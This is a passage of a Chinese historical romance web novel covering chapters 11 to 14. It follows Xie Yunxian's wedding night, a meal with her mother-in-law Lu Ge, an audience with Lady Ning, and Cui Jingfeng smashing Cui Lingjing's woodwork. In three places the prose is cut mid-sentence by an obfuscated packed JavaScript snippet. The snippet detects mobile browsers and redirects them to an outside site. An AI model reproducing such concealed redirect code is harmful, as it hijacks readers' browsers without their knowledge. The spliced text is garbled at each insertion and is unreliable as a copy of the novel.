11. 芙蓉羹 头上的金丝凤冠摘了,绾起的乌发却未解下。就这样躺着,一定压得很疼,她却忍着一言不发。 崔灵景心一动,伸出手,抽出了她头上的芙蓉金步摇。 无数青丝瞬间如瀑般散开。 他捏着步摇,问:“怎么还不睡?” 谢云闲内心深受震撼:你不是睡着了么? “我……” 她的肚子发出一声轻响,抢先替她作答。 谢云闲:“……” 真是恨不得钻进地缝里。 “饿了吗?” 除了晨间楚羽送来的那碗汤圆,谢云闲其实没吃什么东西。崔灵景觉得疲惫,她何尝不是身心俱疲?整日为繁文缛节所扰,她此时竟觉得腹中饥馑。 谢云闲不太好意思地点了点头。 崔灵景便道:“我去寻些吃的。” 说罢,他越过谢云闲,灵活翻身下了榻。 谢云闲也跟着坐起。 洞房之夜,屋外少不了好事之人,若被人看见崔灵景半夜外出寻食,岂不闹了笑话? 崔灵景却知她心中所想,安抚道:“无碍。” 说罢,他披上外衫,推门走了出去。 夜色凝重,月挂枝头,屋外寂寥,不见半个人影。崔灵景派卢青打理好了一切,不许任何人于今夜接近这屋子。崔净风派来抓把柄的人,也被卢青一掌拍晕,塞进了柴房。 崔灵景拢了拢外衣往外走,未走到院门,就察觉到身后有脚步声逼近。 他脚步一顿,眉梢微抬,隐有杀意。 身后传来一声轻呵:“站住。” - 崔灵景走后,谢云闲漫无目的地坐着,盯着飘动的红纱帐发了会呆。 忽然,谢云闲皱皱鼻子,抬起手,低头闻了闻指尖,闻到淡淡的药香。 是崔灵景身上的味道。 崔灵景长年服药,身上有一股淡淡的药草味。这味道不难闻,反倒清新自然,让人如同沐浴春阳之下。 那日于芳歇楼,崔灵景扶住她时,谢云闲就已察觉这清香,原以为是他用了什么名贵香料,后来才想明白,是他身上的药香。 那日在百草堂,她倒在崔灵景身上,药草香扑鼻而来,躲也躲不掉。晚上回到旧宅,她细细搓了好几回,才将崔灵景留在身上的味道去掉。 倒不是厌恶,只是让未来郎君的味道留在自己身上,总有些暧昧难言。 谢云闲喃喃:“方才他靠我那样近,害得我鼻尖尽是他的味道。” 仿似被打上了什么烙印。 她睁眼看见崔灵景那一瞬,还以为他要反悔!以为他要偷袭,趁夜色弥漫,行小人之事! ……还好崔灵景什么都没做。 谢云闲松了口气,不然闹出什么事来,真说不准。 约莫过了半炷香时间,门外有了动静。 进来的却不是崔灵景,而是一个陌生女子。 女子衣着朴素,披了件棉袄子,身姿曼妙,千娇百媚,颔首抬眸间诉尽风月。她反手将门“砰”的一声合上,挡住了屋外的冷气。 走进屋内,她的目光落在谢云闲身上,神色不辨。 谢云闲不知她是何人,“这位姑娘……” 女子惊诧,打断她:“你唤我什么?” 谢云闲唇角带上一丝温润笑意,眸色却深了些,重复道:“姑娘?您找我有事?” 路歌听了这话,双眸一亮,心里乐开了花。她三步做两步走到谢云闲面前,拉起她的双手,轻抚道:“好孩子,你再仔细看看我?” 对方语气里的惬意自得和眸中的惊喜迫切,实在让谢云闲难以忽视。待她走近了,谢云闲才看清她面上的存褶,发现她的容态更为年迈,并非她以为的年轻貌美小姑娘。 谢云闲脑子转得飞快,换上了敬称:“您……” “认出来啦?”路歌眉开眼笑,抓着谢云闲的手不放,“我可不是小姑娘咯!我已经老了,你该唤我路姨娘。” 谢云闲呆愣眨眨眼,连忙道歉:“路姨娘,方才云闲说错了话,还请见谅!” 路歌就是崔灵景的母亲。 她本在酒楼舞女,意外被崔灵景的父亲崔玄墨,即崔太保相中,带回家中做妾。 谢云闲从未想到,路歌看起来仍是这般妩媚勾人,气质胜过许多年轻姑娘。 “不碍事。”路歌看着谢云闲,满眼喜欢和疼爱。 谢云闲为这炙热目光而怔忪,方欲避开,却见两行清泪从路歌眸中滑落。 她顿时慌了神,“路姨娘,您怎么了?” 从前谢云闲唤陆瑞岚做“陆姨娘”,如今再唤“路姨娘”,虽是同样的称呼,却已是完全不同的对象和心境。 路歌声音哽咽,但笑道:“让你看笑话了……我有些感慨罢了。” 路歌这一生,最放心不下的,便是崔灵景。 路歌深知自己卑微软弱,一生颠沛流离,能于崔府豪宅安享晚年,已是大幸。她余生最大的愿望,便是崔灵景养好身子,做个小官,娶个贤良媳妇,生个大胖孩子,男孩女孩都好,只要过得平安顺遂,足以。如今,这愿望也算实现了一半,她心中既心满意足,又怅然若失。 崔灵景自小过于懂事,背地里受了苦,从不会跟她说,只会默默扛着,瞒着她。她虽心疼,却也无能为力。 有些话,她到了嘴边,看着谢云闲,又咽了回去。她用手帕抹去眼角泪花,低头笑道:“怪我怪我,这大好的日子,哭个什么。” “路姨娘,您有什么话,都可以跟我说。” “不说了,你们日子还长着,我这个做娘的,也算半个外人,不能说太多。”路歌拉紧她的手,嘱咐道:“你只要记得,以后要是受了委屈,就跟我说,不要有顾虑。灵景这孩子,从小不知在想什么,连我都有些看不明白。他没喜欢过什么姑娘,不善言辞,看着温温和和,其实脾气倔得很,你们有什么话,一定要好好说。” 路歌虽然什么都没说,但谢云闲都感受到了。 谢云闲明白她的意思。 白溪离世前,也是这样紧紧牵着谢云闲的手,她的手十分冰凉,谢云闲怎么也捂不热。那时白溪的意识已迷离,分不清人,却断断续续地唤着她的名字:“霄儿……霄儿……” 谢云闲跪在床榻边,眼睛已经哭肿了:“阿娘,霄儿在。” “阿娘……惟愿……我的……霄儿……此生……平安顺遂……”白溪艰难扯出一个笑,抚上谢云闲的脸,声音很轻。 “阿娘无论去了哪儿,都会保佑我的霄儿……” 或许天底下的母亲,都是这样的心境。 “咔嚓。” 门被人轻轻一脚给踢开了。 崔灵景捧着两碗芙蓉羹,从夜色里走了进来,身上覆盖了一层薄薄的凉意。 方才还伤心拭泪的路歌脸色一变,“皓儿!你拿个东西怎么慢吞吞的?” 崔灵景将芙蓉羹放下,无奈揉揉额角,解释道:“东西都凉了,我拿去热了热。” 方才崔灵景去东厨取食,忽闻脚步声渐近,心中警惕,却听见熟悉的声音:“大喜之日,你跑哪去?” “……”崔灵景心中无奈叹息,一身戾气瞬时退散。 他转过身,果真看见路歌怒气冲冲瞪着自己。 他千防万防,却没想到 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15883554|176408||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,都这个点了,路歌会出现在这里……看来,路歌对他的人生大事比他本人还要上心。 路歌以为他将谢云闲丢在房中后独自离开,怫然不悦。 崔灵景只好简单给她解释了一番。 路歌这才摆摆手:“快去快回罢,别让新娘子等久了。” …… 路歌转头笑吟吟地拉谢云闲坐下:“来,云闲,听闻你饿了,快来试试这芙蓉羹好不好吃。” 她又看向崔灵景:“你也一起吧。” 崔灵景点头,在路歌另一侧坐下。 屁股还未贴上板凳,就被路歌呵斥:“云闲是你夫人,你不坐她身边,坐我这干什么?当自己还是三岁孩童,还要阿娘喂你吃饭?” 崔灵景:“……” 谢云闲没忍住,“扑哧”地笑了一声。 感受到崔灵景的注目,谢云闲默默低下头,用勺子扒着芙蓉羹,装作毫无察觉。 夜里温度骤降,芙蓉羹却是热气腾腾的,一口吞下,心口滚烫。 “好吃吗?”路歌问。 “好吃!”谢云闲又舀了一勺,轻轻吹了吹,送入口中。 她是真饿了,被这芙蓉羹的香味一勾,那点微薄的意志力都被勾走了。 此时她只想将眼前这碗芙蓉羹一口吞进肚中,别的都顾不上了。 崔灵景将她的神态动作尽收眼底,将自己那碗也推到她面前,道:“这也是你的。” “咳、咳。”谢云闲呛了一下,抿抿唇,面上燥热。 崔灵景道:“没关系,我不饿。” 谢云闲心中纠结,捏着玉勺,踌躇不定。 她会不会吃太多了?她姑娘家家的,是不是不该这么狼吞虎咽? 路歌关心地问:“为何不吃了?” 勺子从手中脱落,滑入碗底。 谢云闲道:“我饱腹矣……” “可你才吃了这么一点儿……” 崔灵景道:“霄儿是嫌这碗凉了吧。” 谢云闲有些错愕。 他叫她什么? 崔灵景真切地又唤了一声:“霄儿?” 谢云闲目瞪口呆,脸上却不敢流露丝毫。 崔灵景笑道:“不习惯吗?还是更喜欢我叫夫人?” 谢云闲温婉一笑:“夫君叫什么都好。” 路歌听了,对崔灵景道:“你看云闲对你多好,你以后可不能欺负她。” “我不敢。”崔灵景应道。 他用另一个勺子在另一碗芙蓉羹里舀了一勺,递到谢云闲嘴边,道:“试试这个,还是热的。” 谢云闲盯着送到嘴边的这一勺芙蓉羹,她吃,还是不吃? 见她迟疑,崔灵景还问:“怎么?” 路歌也在目光炽热地看着她,期待她的动作。 谢云闲只好轻启丹唇,含住了勺子,就着崔灵景的手,将芙蓉羹一口吞了下去。 甜意缠着舌头,久久难散。 谢云闲美目一怔,下意识看向崔灵景——这一碗是甜的? 崔灵景端坐于身侧,神态放松懒怠,烛火加深了他五官的阴影,勾勒出俊美轮廓,精致立体。暖意的火光落在他身上,似乎少了几分距离感,多了几分柔和。 崔灵景长得倒还算俊美。谢云闲在心里感叹道。 初见之时,她觉得崔灵景立如雪松,孤冷清高,令人捉摸不透。 此时谢云闲却觉得他如眼前红蜡,蜡芯是冷的,火苗却是烫的。 崔灵景淡淡一笑:“一咸一甜,不知你喜欢什么口味,便都拿过来了。” 谢云闲“嗯”一声,从他手中接过了勺子。 12. 新嫁娘 吃了两碗芙蓉羹,谢云闲切切实实饱了。饱腹之后,她难得有了些困意。 路歌离开后,两人和衣而睡,相安无事。这一夜虽折腾,但后半夜谢云闲睡得安宁,一觉睡到了辰时。再醒来时,身侧床榻已经凉了,崔灵景不知去处。 荷华过来服侍谢云闲更衣,顺带八卦了一嘴洞房之夜的情况。 “能有什么事?” 荷华笑着打趣道:“还以为您从了呢!” “说什么呢。”谢云闲没好气地瞪了她一眼。 “崔四公子怎么样?没有为难您吧?” “这倒没有。” “依我看,崔四公子是个良配,姑娘,我觉得您做了个正确的决定。” 谢云闲却不以为然:“这可说不准。” 这话意味深长,荷华摸不着头脑:“为何?” “荷华,你知道‘皓天舒白日’下一句是什么?” 荷华一脸茫然。 这不是崔四公子初见那日时说的诗句吗?他说崔皓此名就是来源于这句诗。 谢云闲自顾自答道:“‘皓天舒白日’下一句是‘灵景耀神州’。” 荷华再迟钝也反应过来了,“灵景耀神州”,不就是崔灵景吗? 原来他当日就有暗示? “崔灵景跟崔净风关系不睦多年,崔净风在芳歇楼大摆筵席,小二说大家都有耳闻,纷纷过去凑热闹,崔灵景会不知道?” “您的意思是……” “我们到那儿时,楼下已经坐满了人,小二也是直接带我们上了二楼,崔灵景却直接在一楼坐下,崔净风一来,就会看见他。” 谢云闲语气很平淡,“不管他当日是因为什么恰好出现在那里,他一定另有目的。” 荷华从没想过这么多,一时有些难以置信,“可是崔四公子看起来很无辜,也很温柔……” 谢云闲叹了口气:“温柔是真的,‘巧合’也是真的。不管如何,你在他面前要注意一些。” “是,我会多加小心的。” 待谢云闲换装扮妥当,崔灵景回来了,两人要一同去拜见崔府大夫人宁元珍。 宁元珍是当朝天子姨母之女,被尊为明珠长公主,十八岁嫁给崔玄墨,生下了崔家嫡长子崔昊水。 宁元珍嫁给崔玄墨时,崔玄墨还是六品官员,她却甘为宁夫人,辅佐崔玄墨,与崔玄墨一起带领崔氏从孱弱走向了盛大。 崔府能有如今的地位和成就,她功不可没,崔府上下都得敬她三分。 宁元珍年过四十,坐于高堂之上,雍容端庄,妆容富贵。 谢云闲与崔灵景一齐行礼:“问宁夫人好。” 宁元珍的目光略过崔灵景,落在谢云闲身上:“你就是谢二姑娘?” “抬起头来。” 谢云闲依言挺直了身子,露出恰到好处的羞怯:“小女谢云闲,见过宁夫人。” “你是谢睿的女儿?” 谢云闲纤长睫毛扑闪如蝶翼,“您认识父亲?” 宁元珍不答,又问:“你有个同胞姐姐?” 谢云闲一双如潋滟春水的柳叶眸暗了暗,低声道:“是。” 谢微芳病逝多年,已很少被外人提及。 这宁夫人又是问起父亲,又是提起姐姐,有何用意? “姐姐谢微芳七年前病逝,承蒙夫人挂念。” 宁夫人呷了一口清茶,淡淡道:“我与你姐姐有过一面之缘,你们长得并不像。” “是,云闲与姐姐虽是同胞,但模样并不相同。”谢云闲轻声道,“姐姐生来体弱多病,替我承受太多苦难,我却不能替她分担一二,云闲深感惭愧。” 崔灵景无声地看了她一眼。 宁元珍叹息一声:“你姐姐是个好姑娘。” 谢云闲不解其意。 为何宁夫人对谢微芳这么关心?仅仅是一面之缘,又如何知道她是个好姑娘?她们之间有和过往? 她从不知,姐姐生前竟跟这崔府大夫人有过交集。 但她不敢多问,怕一不小心说错了话。 如今她身在崔府,举目无亲,行为处事应当更谨慎,不可落人把柄。 “罢了。”宁夫人换了个话题,问她:“昨夜可还顺利?” 谢云闲一噎,险些咬到舌头:“……什么?” 宁元珍平静自然道:“四公子身子不好,可让你舒服了?” “……” 谢云闲呆在原地,脸刷的一下红了。 看似正颜厉色的宁夫人,竟还关心这些事? 不、不是,这些事可以这般直率地问出来吗? 谢云闲垂着脑袋不答话,睨了一眼崔灵景——却发现崔灵景也在看她。 她本以为他也会觉得尴尬,毕竟当堂被人暗示那方面“不行”,身为男子,谁都不好受。 然而崔灵景眉眼一弯,竟对她笑了一下——似乎比起自己被当众羞贬,他觉得谢云闲被调侃后脸红的模样更有意思。 谢云闲:“……” 昨夜某个人可是直接累倒在了床上!怎么好意思在这里笑她?不怕她将此事抖落出去? 宁元珍见她不答,以为崔灵景真的让她受苦了,“若有其他需要,你尽管跟我开口。” 饶是谢云闲再怎么伪装,听了这话,两颊也禁不住烧起了两朵火烧云。 她怕宁夫人再说些什么吓人的话,连忙道:“宁夫人误会了。” “崔四公子那方面……”谢云闲面色烧红,“那方面自然是极好的。” 崔灵景竟还在一旁接茬:“多谢夫人肯定。” 谢云闲:“……” 该说话的时候怎么不说话! 宁元珍淡漠点头:“那就提前恭喜路姨娘抱上爱孙了。” 谢云闲:“……” 倒也没进展这么快! 一直被宁元珍忽视的崔灵景忽然道:“我替阿娘多谢宁夫人。” 宁元珍冷冷瞧他一眼。 谢云闲缓过神,才想起卢青说过,崔家人去谢府提亲,大夫人只给他派了五人随从,场面看着十分寒碜。 宁元珍出身尊贵,身为皇亲国戚,却与一个低贱的舞姬共侍一夫,共住一个屋檐之下,难免心中抵触。这是天生高贵的血统的对下劣血统的傲慢和压制。崔灵景作为路歌的儿子,自然会受到牵连,遭人排挤和欺辱。 宁元珍虽育有一儿一女,却并无孙儿。崔昊水原有一子,早早夭折后再无子嗣。听闻宁夫人为此烧香拜佛,求了许久,还给崔昊水纳了两个小妾,仍是无用。 谢云闲还听说,元日之前,崔府嫡长子、大公子崔昊水遭人弹劾,被贬去了雍州。 崔昊水名声多难听,她以前在建康就有所耳闻。 未及弱冠之时,崔昊水是出了名的纨绔,好色嗜赌,名声丑恶。后来他被崔玄墨揍了一顿,禁足两月,才稍稍收敛心性,考了个功名,谋了个官职。众人心知肚明,他就是依仗着崔家的地位和宁元珍的身份,不然根本不可能成功。 对了,崔家大公子叫崔昊水。 难怪。 应当是为了避崔昊水名讳,崔灵景才将名字从崔皓改成了崔灵景。 “崔灵景。”宁元珍坐于高位,高高在上地看着他:“这次就算你抢先 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15883555|176408||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了。” 崔灵景笑道:“宁夫人说笑了,若夫人真的想要,有什么要不到。” 宁元珍无声地看着他。 两人在那打哑谜,暗自较劲,谢云闲心中疑惑,面上不显。 “崔四夫人接下来有什么打算。”宁元珍问。 宁元珍转变了称呼,谢云闲差点没反应过来。 她温敛答道:“我陪着夫君便好,别无他求。” “你既嫁入崔家,以后便是崔家的人,崔家的礼仪和规矩,还得细细琢磨,严谨遵照。” “这是自然。” “嫁给他,委屈你了。” 谢云闲察觉她话中有话,抿唇一笑,犹含苞妙莲,“四公子模样端正,富有才情,嫁给四公子,乃云闲之幸。” “可惜了。”宁元珍叹息道,“若我早些向陛下请示,你便能与昊儿成婚了。” 皓儿? 不,此“昊儿”非彼“皓儿”。 谢云闲迟滞两秒反应过来,宁元珍说的是崔昊水。 宁元珍什么意思?想让她给崔昊水做妾?嫁给崔昊水,然后呢?给她生嫡长孙吗? 真是打得一手好算盘。 谢云闲面上带笑:“陛下心如明镜,所做决定必不会错,宁夫人不必为此感到遗憾。建康貌美姑娘如云,说不准大公子压根看不上云闲这般女子。” 她心里想的却是:谁嫁给崔昊水,谁倒了八辈子霉了! 宁元珍摆摆手,“罢了,你已经是我们崔府的四夫人了。” “都退下吧。” 谢云闲与崔灵景二人应允:“是。” 谢云闲与崔灵景肩并肩站着,靠得很近。崔灵景碰到谢云闲的手背,牵住了谢云闲的手。 谢云闲被烫了一下,下意识一挣,却被抓得更紧了。 两人的小动作自然没逃过宁元珍的注意,她打探的目光再次落到两人身上。 谢云闲蓦然反应过来崔灵景的目的,不能让宁夫人察觉两人貌合神离。 “……” 崔灵景手掌温度很高,暖意从谢云闲手心蔓延至四肢百骸,让她身体动作有些僵硬。 两人紧握双手,在宁元珍的注目下,并肩走出了正厅。 谢云闲稍微松了口气,神色也不再那么紧绷。 她松开崔灵景的手,淡定开口:“你怎么这么……”热。 屋外冷湿的春风兜头一吹,谢云闲才反应过来,不是崔灵景的体温太高,而是自己的手太凉。 崔灵景从袖中取出一个小巧手炉,放在她手上:“刚才笑了夫人,给夫人赔礼道歉。” 谢云闲接过,大度地说了句:“我并未放在心上,多谢夫君。” 两人一同往回走,崔灵景的住所在东院偏僻一隅。路上碰到不少仆从,问候一句便走开了,没碰到什么好事的主子,谢云闲已无心与他们周旋,因此松了口气。 崔灵景的眉头却皱了起来。 谢云闲当他是把手炉给了自己,扛不住这春寒,身体不适,便轻拽着他的袖扣,走快了些。 “咳咳,咳咳。”冷风灌入肺里,崔灵景又忍不住咳起来。 谢云闲没忍住说他一句:“卫大夫包治百病,怎么没把你这咳嗽之症治好?” 崔灵景不在意地笑笑:“心病罢了。” 谢云闲心中嘟囔,什么心病,能咳成这样? 终于回到院房,谢云闲却发现院门大敞,任由冷风呼呼往里倒。 直觉告诉谢云闲不对劲,她快步走了进去。 “哟,终于回来了。” 一个陌生而轻佻声音兀然响起。 13. 闹书房 声音是从书房里传出的。 与其说是书房,不如说是手作坊。四处堆满了工艺制品,有制作完成的精美木雕,也有摆在桌上还未来得及完成的半成品,地上铺了厚厚一层木屑。传闻崔四公子不慕名利,与世无争,只爱在家中做些木工,今日一见,谢云闲还是惊叹万分。 难怪那日她扶崔灵景起来时,崔灵景的手上有一层薄薄的茧子。 然而此时此刻,这些东西都被摔在了地上,有些被摔得七零八碎。 一地心血,付诸东流。 而“罪魁祸首”双臂大展,背靠着桌子,坐在一堆木制品中,神色懒倦轻慢。身边站着几个身强体壮的仆从,像一群强盗,霸占着这间屋子。 崔灵景沉声叫出他的名字:“崔净风。” 谢云闲也认出了他,第一回如此近距离地打量这位崔小公子。 崔净风歪着脑袋撑在桌上,勾唇一笑:“四哥,上次同我玩蹴鞠,玩得可尽兴?” 崔灵景淡淡道:“不如两年前的马术。” 两年前崔净风欲加害崔灵景,要与他比马术。崔净风在马上动了手脚,害崔灵景从马上摔落。庆幸的是,崔灵景摔在了草垛上,只受了轻伤,崔净风却被马甩飞,砸在树干上,手臂脱臼,骨头开裂,此事便成了崔净风最大的耻辱,让他一直耿耿于怀,任何人都不敢在他面前提及。 果不其然,崔净风脸色大变,弹身而起,怒道:“崔灵景!” 崔净风骂了几句污言秽语,简直不堪入耳。 谢云闲眉头蹙起,却不多言。 这是崔灵景和崔净风之间的事,就让崔灵景解决吧,她不好插手。 崔净风恶狠狠问:“崔灵景!昨夜我的人是不是被你命人绑到柴房的?” 崔灵景面无表情:“是。” “你!”崔净风青筋暴起。 “这些东西是你砸的吧。” 环顾四周,一片狼藉。 “是啊。”崔净风邪魅笑道,“你昨日大婚,我作为弟弟,当然要送份大礼了!” 语毕,崔净风又一扬手,将桌上还未拼凑好的木工制品一扫。那物什被“砰”的一声摔在地上,肢解成几瓣。 崔净风又拿起一个木制的球状物品,抛在手上。 饶是打算置身事外的谢云闲也开不下去了。 这再怎么说也是上好的艺术作品,崔净风就这样毁了? 崔净风一声令下,几个仆从上前,将崔灵景房中的东西全部扫落,又将他的柜子推翻。谢云闲和崔灵景都来不及出声劝阻,场面变得凌乱不堪。 崔灵景面色苍白,看不出一丝笑意。 崔净风手里不停地玩弄着一个木球。木球约莫巴掌大小,内里镂空,外表雕刻着精美流云纹和精致龙凤纹饰,图案瑰丽,栩栩如生。 木球被抛起,又落回崔净风掌心。 “这个——就还给你吧!” 崔净风将它掷向崔灵景! “小心!” 这球可不比蹴鞠,是实打实的木头做的,万一砸中,就是头破血流。 崔灵景也不躲,直挺挺地站着。谢云闲一着急,推了他一把。 那木球砸中他的侧脸,擦出一条血痕。 崔灵景偏着头,满目隐忍。 “崔灵景!”谢云闲赶忙去查看他的伤势。 卢青冲了进来,脸色铁青,怒目圆睁,警告崔净风:“小公子,还望自重。” 崔净风冷笑道:“你个崔灵景的走狗,有什么资格跟我说话?” 肉眼可见的,崔灵景的脸上多了一块青紫。 这好端端的一张俊颜,竟然破了相,真是无妄之灾! “你怎么样?”谢云闲看着崔灵景的伤口问。 “没事……”崔灵景的声音有些虚弱。 他本来身体又不好,此时又受了伤。那木球砸在脸上,看着都疼。 另一边,卢青擒住崔净风的手腕,低头盯着他。 他一字一字道:“小公子,我说了,请,自重。” 崔净风感受到了他的威压,眉睫轻颤,硬着嘴道:“你放开我!” “我知道,您调查过我。那您也该知道,我以前是个杀手,杀人不眨眼。”卢青不断施压,“倘若四公子出了什么事,冤有头债有主,无论是谁,我绝不会放过。” 崔净风头上冒出冷汗。 正此时,身后突然传来一声:“小公子。” 看清来人,崔净风像被兜头泼了一盆冷水,脸色僵住,登时安分下来。 来者是宁元珍身边的婢女,她对崔净风道:“小公子怎么跑到这里来了?大夫人喊你去背书。” 崔净风不再挣扎,呆愣在原地,仿佛被人施了法术,失了魂魄。 那婢女道:“夫人听先生说,小公子近日荒废学业,学堂也不去了,可有此事?” 崔净风:“我——” 原本还嚣张跋扈的崔净风,此时却一言不敢发。 谢云闲觉得奇怪,崔净风为何这么怕宁元珍? “小公子请快些跟我走吧,别让夫人等急了。” “……是。” 失魂落魄的崔净风被人带走,书房重归于平静。 荷华听见动静赶来,看见的是七颠八倒一片狼藉,几乎无处落脚。 卢青两步走到崔灵景面前:“公子,您感觉怎么样?我去给您拿药——” 荷华道:“我去吧,卫大夫给姑娘开的药,我那里还有许多,能活血化瘀。” 卢青:“那就有劳荷华姑娘了。” 崔灵景咳了两声,按了按太阳穴,吩咐道:“把这里收拾一下吧。” 卢青环顾一地残骸,恨得牙痒痒。他心里恨不得将崔净风千刀万剐,面上却只能咬牙应下:“是,我这就去。” 屋内的东西半数都被砸坏,崔灵景心不心疼谢云闲不知道,她看着就觉得十分惋惜和心痛。 谢云闲扶崔灵景坐下,崔灵景捡起脚边一个断开的燕尾榫,拿着一个凿子开始左右敲打,手法娴熟。 谢云闲好奇地在房中随意走走,四处看看。所有东西原本都有自己的位置,而此刻,它们都被摔在地上。这间屋子似乎有一堵无形的屏障,将崔灵景与外隔绝。 谢云闲想象了一下崔灵景平日在这里的生活,应当是十分惬意的,如同世外桃源。然而“外人”闯入,打破了宁静,也把一切搞得一团糟乱。 崔灵景不求荣华富贵,无意争名夺利,整日与木头作伴,安分守己,竟也引来他人欺辱。 书房中有许多精美成品,设计别出心裁,独具匠心,胜似大家手笔,令谢云闲惊叹。 谢云闲扶起一把落霞式木制雕花古琴,从袖中掏出手帕,将琴面沾染的灰尘轻轻拭去。方才摔在地上,绷断了一根琴弦,所幸琴身没有磨损。 谢云闲问:“这也是你做的?” 崔灵景闻言抬头:“嗯,夫人若是喜欢,就拿去。” 谢云闲悻悻将琴放下,小声道:“我不会弹琴。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15883556|176408||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>崔灵景一愣,随后发出一声轻笑。 身为谢府二姑娘,理应琴棋书画样样精通,可惜这四样里,谢云闲只会下棋。 说出去,倒是容易让人取笑。 谢云闲心一横,崔灵景要笑便笑吧。 她当做没听见便是了。 然而崔灵景却道:“夫人想学的话,日后有机会,我教你弹。” 谢云闲眨眨眼:“你会?” “略知皮毛。” 谢云闲小声感叹一句:“你会的倒是挺多。” 崔灵景道:“小时候身体不好,总待在屋中,觉得烦闷,见什么都有趣,什么都想学,意在解闷罢了。” 谢云闲听了他这话,忽然想起谢微芳来。 谢微芳从小就心口疼,不能受惊吓,也做不了很多事,故养成了安静的性格。谢云闲却是个闹腾的性子,时常去闹她,谢微芳又总是很宠这个妹妹,什么都惯着她。以前谢微芳说,她的世界是整齐的块状的色彩,谢云闲一来,把所有颜色搅成了一团,化成了彩虹。 谢云闲抚过古琴琴额,摸到一处刻字,写着:秋风萧瑟。她在琴上细细搜寻,却找到不到第二个刻印了。 按理说,此琴乃崔灵景所制,应当会留下他的记号,为何单单只刻着这四个字? 谢云闲深深看了崔灵景一眼,正欲移开目光,崔灵景却抬起了头,与她对视:“夫人为何一直盯着我?” 我哪有一直盯着你? “夫君低着头,怎么会知道我一直盯着你?” 崔灵景坦然道:“我虽然在忙手上的事,心里还是十分关心夫人的。” 谢云闲:“……” 行,她甘拜下风。 “阿嚏!”风一吹,尘屑扬起,快步走进来的荷华打了个喷嚏。 “姑娘,四公子,药取来了。” 卢青出去打了一盆清水进来,对崔灵景道:“公子,先处理伤口吧。” 他手里还拿着别的药,“肩膀上的伤也该上药了。” 谢云闲自觉走过去,接过荷华手里的药膏。 她从怀里取出一条干净手帕,沾湿后将其拧紧扭干,对卢青道:“我来吧。” 卢青点头,将药放在桌上,退后几步,继续去收拾东西。荷华看他一个人忙不过来,也去帮忙。 谢云闲俯下身,对崔灵景道:“我尽量轻点。” 她将手帕轻轻按在崔灵景肿了的脸上,替他清洗伤口,又将血珠拭去。 近看伤口更为惊心,谢云闲忍不住低声问了句:“疼吗?” 崔灵景笑道:“挨这么一下,谁都会觉得疼。” 谢云闲又想起什么,问:“你的肩膀,是不是也是崔净风伤的?” 崔灵景坦诚承认了:“嗯,是他。” “……” 谢云闲一时间不知道说什么好。 她扭开那药膏盒子,动作轻柔地将药膏抹在他的伤口上,淡淡的药味散开,萦绕在两人之间。 “这药膏效果很好,你忍着点,说不定过几日就好了。” 崔灵景眼眸含笑:“好。” “那你的肩膀……” 谢云闲给他涂完药,有些犹豫。 崔灵景浑然不觉,自然地扒开了自己的衣领,露出了肩膀,上面缠了一圈绑带。 谢云闲移开眼,“我让卢青来给你上药吧,他比较熟悉……” 她转身要走,却被崔灵景一把拉住手腕。 “不用找他,你来吧。” 14. 寒微命 谢云闲被迫转回身,与崔灵景对视。 目光相接,她很快败下阵来。 谢云闲妥协道:“你要是不舒服,就告诉我。” 崔灵景点头。 谢云闲便开始解他的绑带。 她的动作称得上史无前例的温柔,生怕碰到他的伤口。 以前都是她行动莽撞,受了伤,别人替她包扎,没想到有一天她也会这么小心翼翼待人。 谢云闲一边给他上药,一边问:“这些东西,你打算怎么办?” “并非易碎品,慢慢修,能修好。” “岂不是要花很长时间?”单是想想,谢云闲便觉得头痛。 “难道有更好的办法?” 谢云闲无言。 事已至此,即便报复性地找崔净风麻烦也没有,崔净风只会搞破坏,并不会修理。所有的损失,都回不来了。幸亏崔灵景有耐心,换作是谢云闲,得上房揭瓦一哭二闹三上吊。 谢云闲上完药,崔灵景抬起胳膊,让她换上新的纱布和绑带。崔灵景衣衫半露,谢云闲让目光尽量避开他裸露的地方。 屋子里有点闷,她有话没话道:“崔净风这么做,你不生气吗。” “我生气又有何用。”崔灵景形容消沉,语气平静。 “他经常做这些事?” “什么事?” “专横霸道欺负人的事。” “是。” 谢云闲一时失语,过了一会,才问:“你从未跟崔太保和宁夫人提过吗?” 崔灵景自嘲道:“我乃舞妓之子,遭人嫌弃,受人欺辱,便是我的命运。” 谢云闲忍不住道:“这是谁规定的混蛋道理?人的出身本就不可以选择,出生卑贱,就该忍受欺凌和折磨吗?” “不是明文规定,是约定俗成罢了。强者欺负弱者,位高者压迫下位者,阶级森严,已成牢笼。” 崔灵景表情很淡,声音很轻,浑不在意的语气里吐露出一点真心。 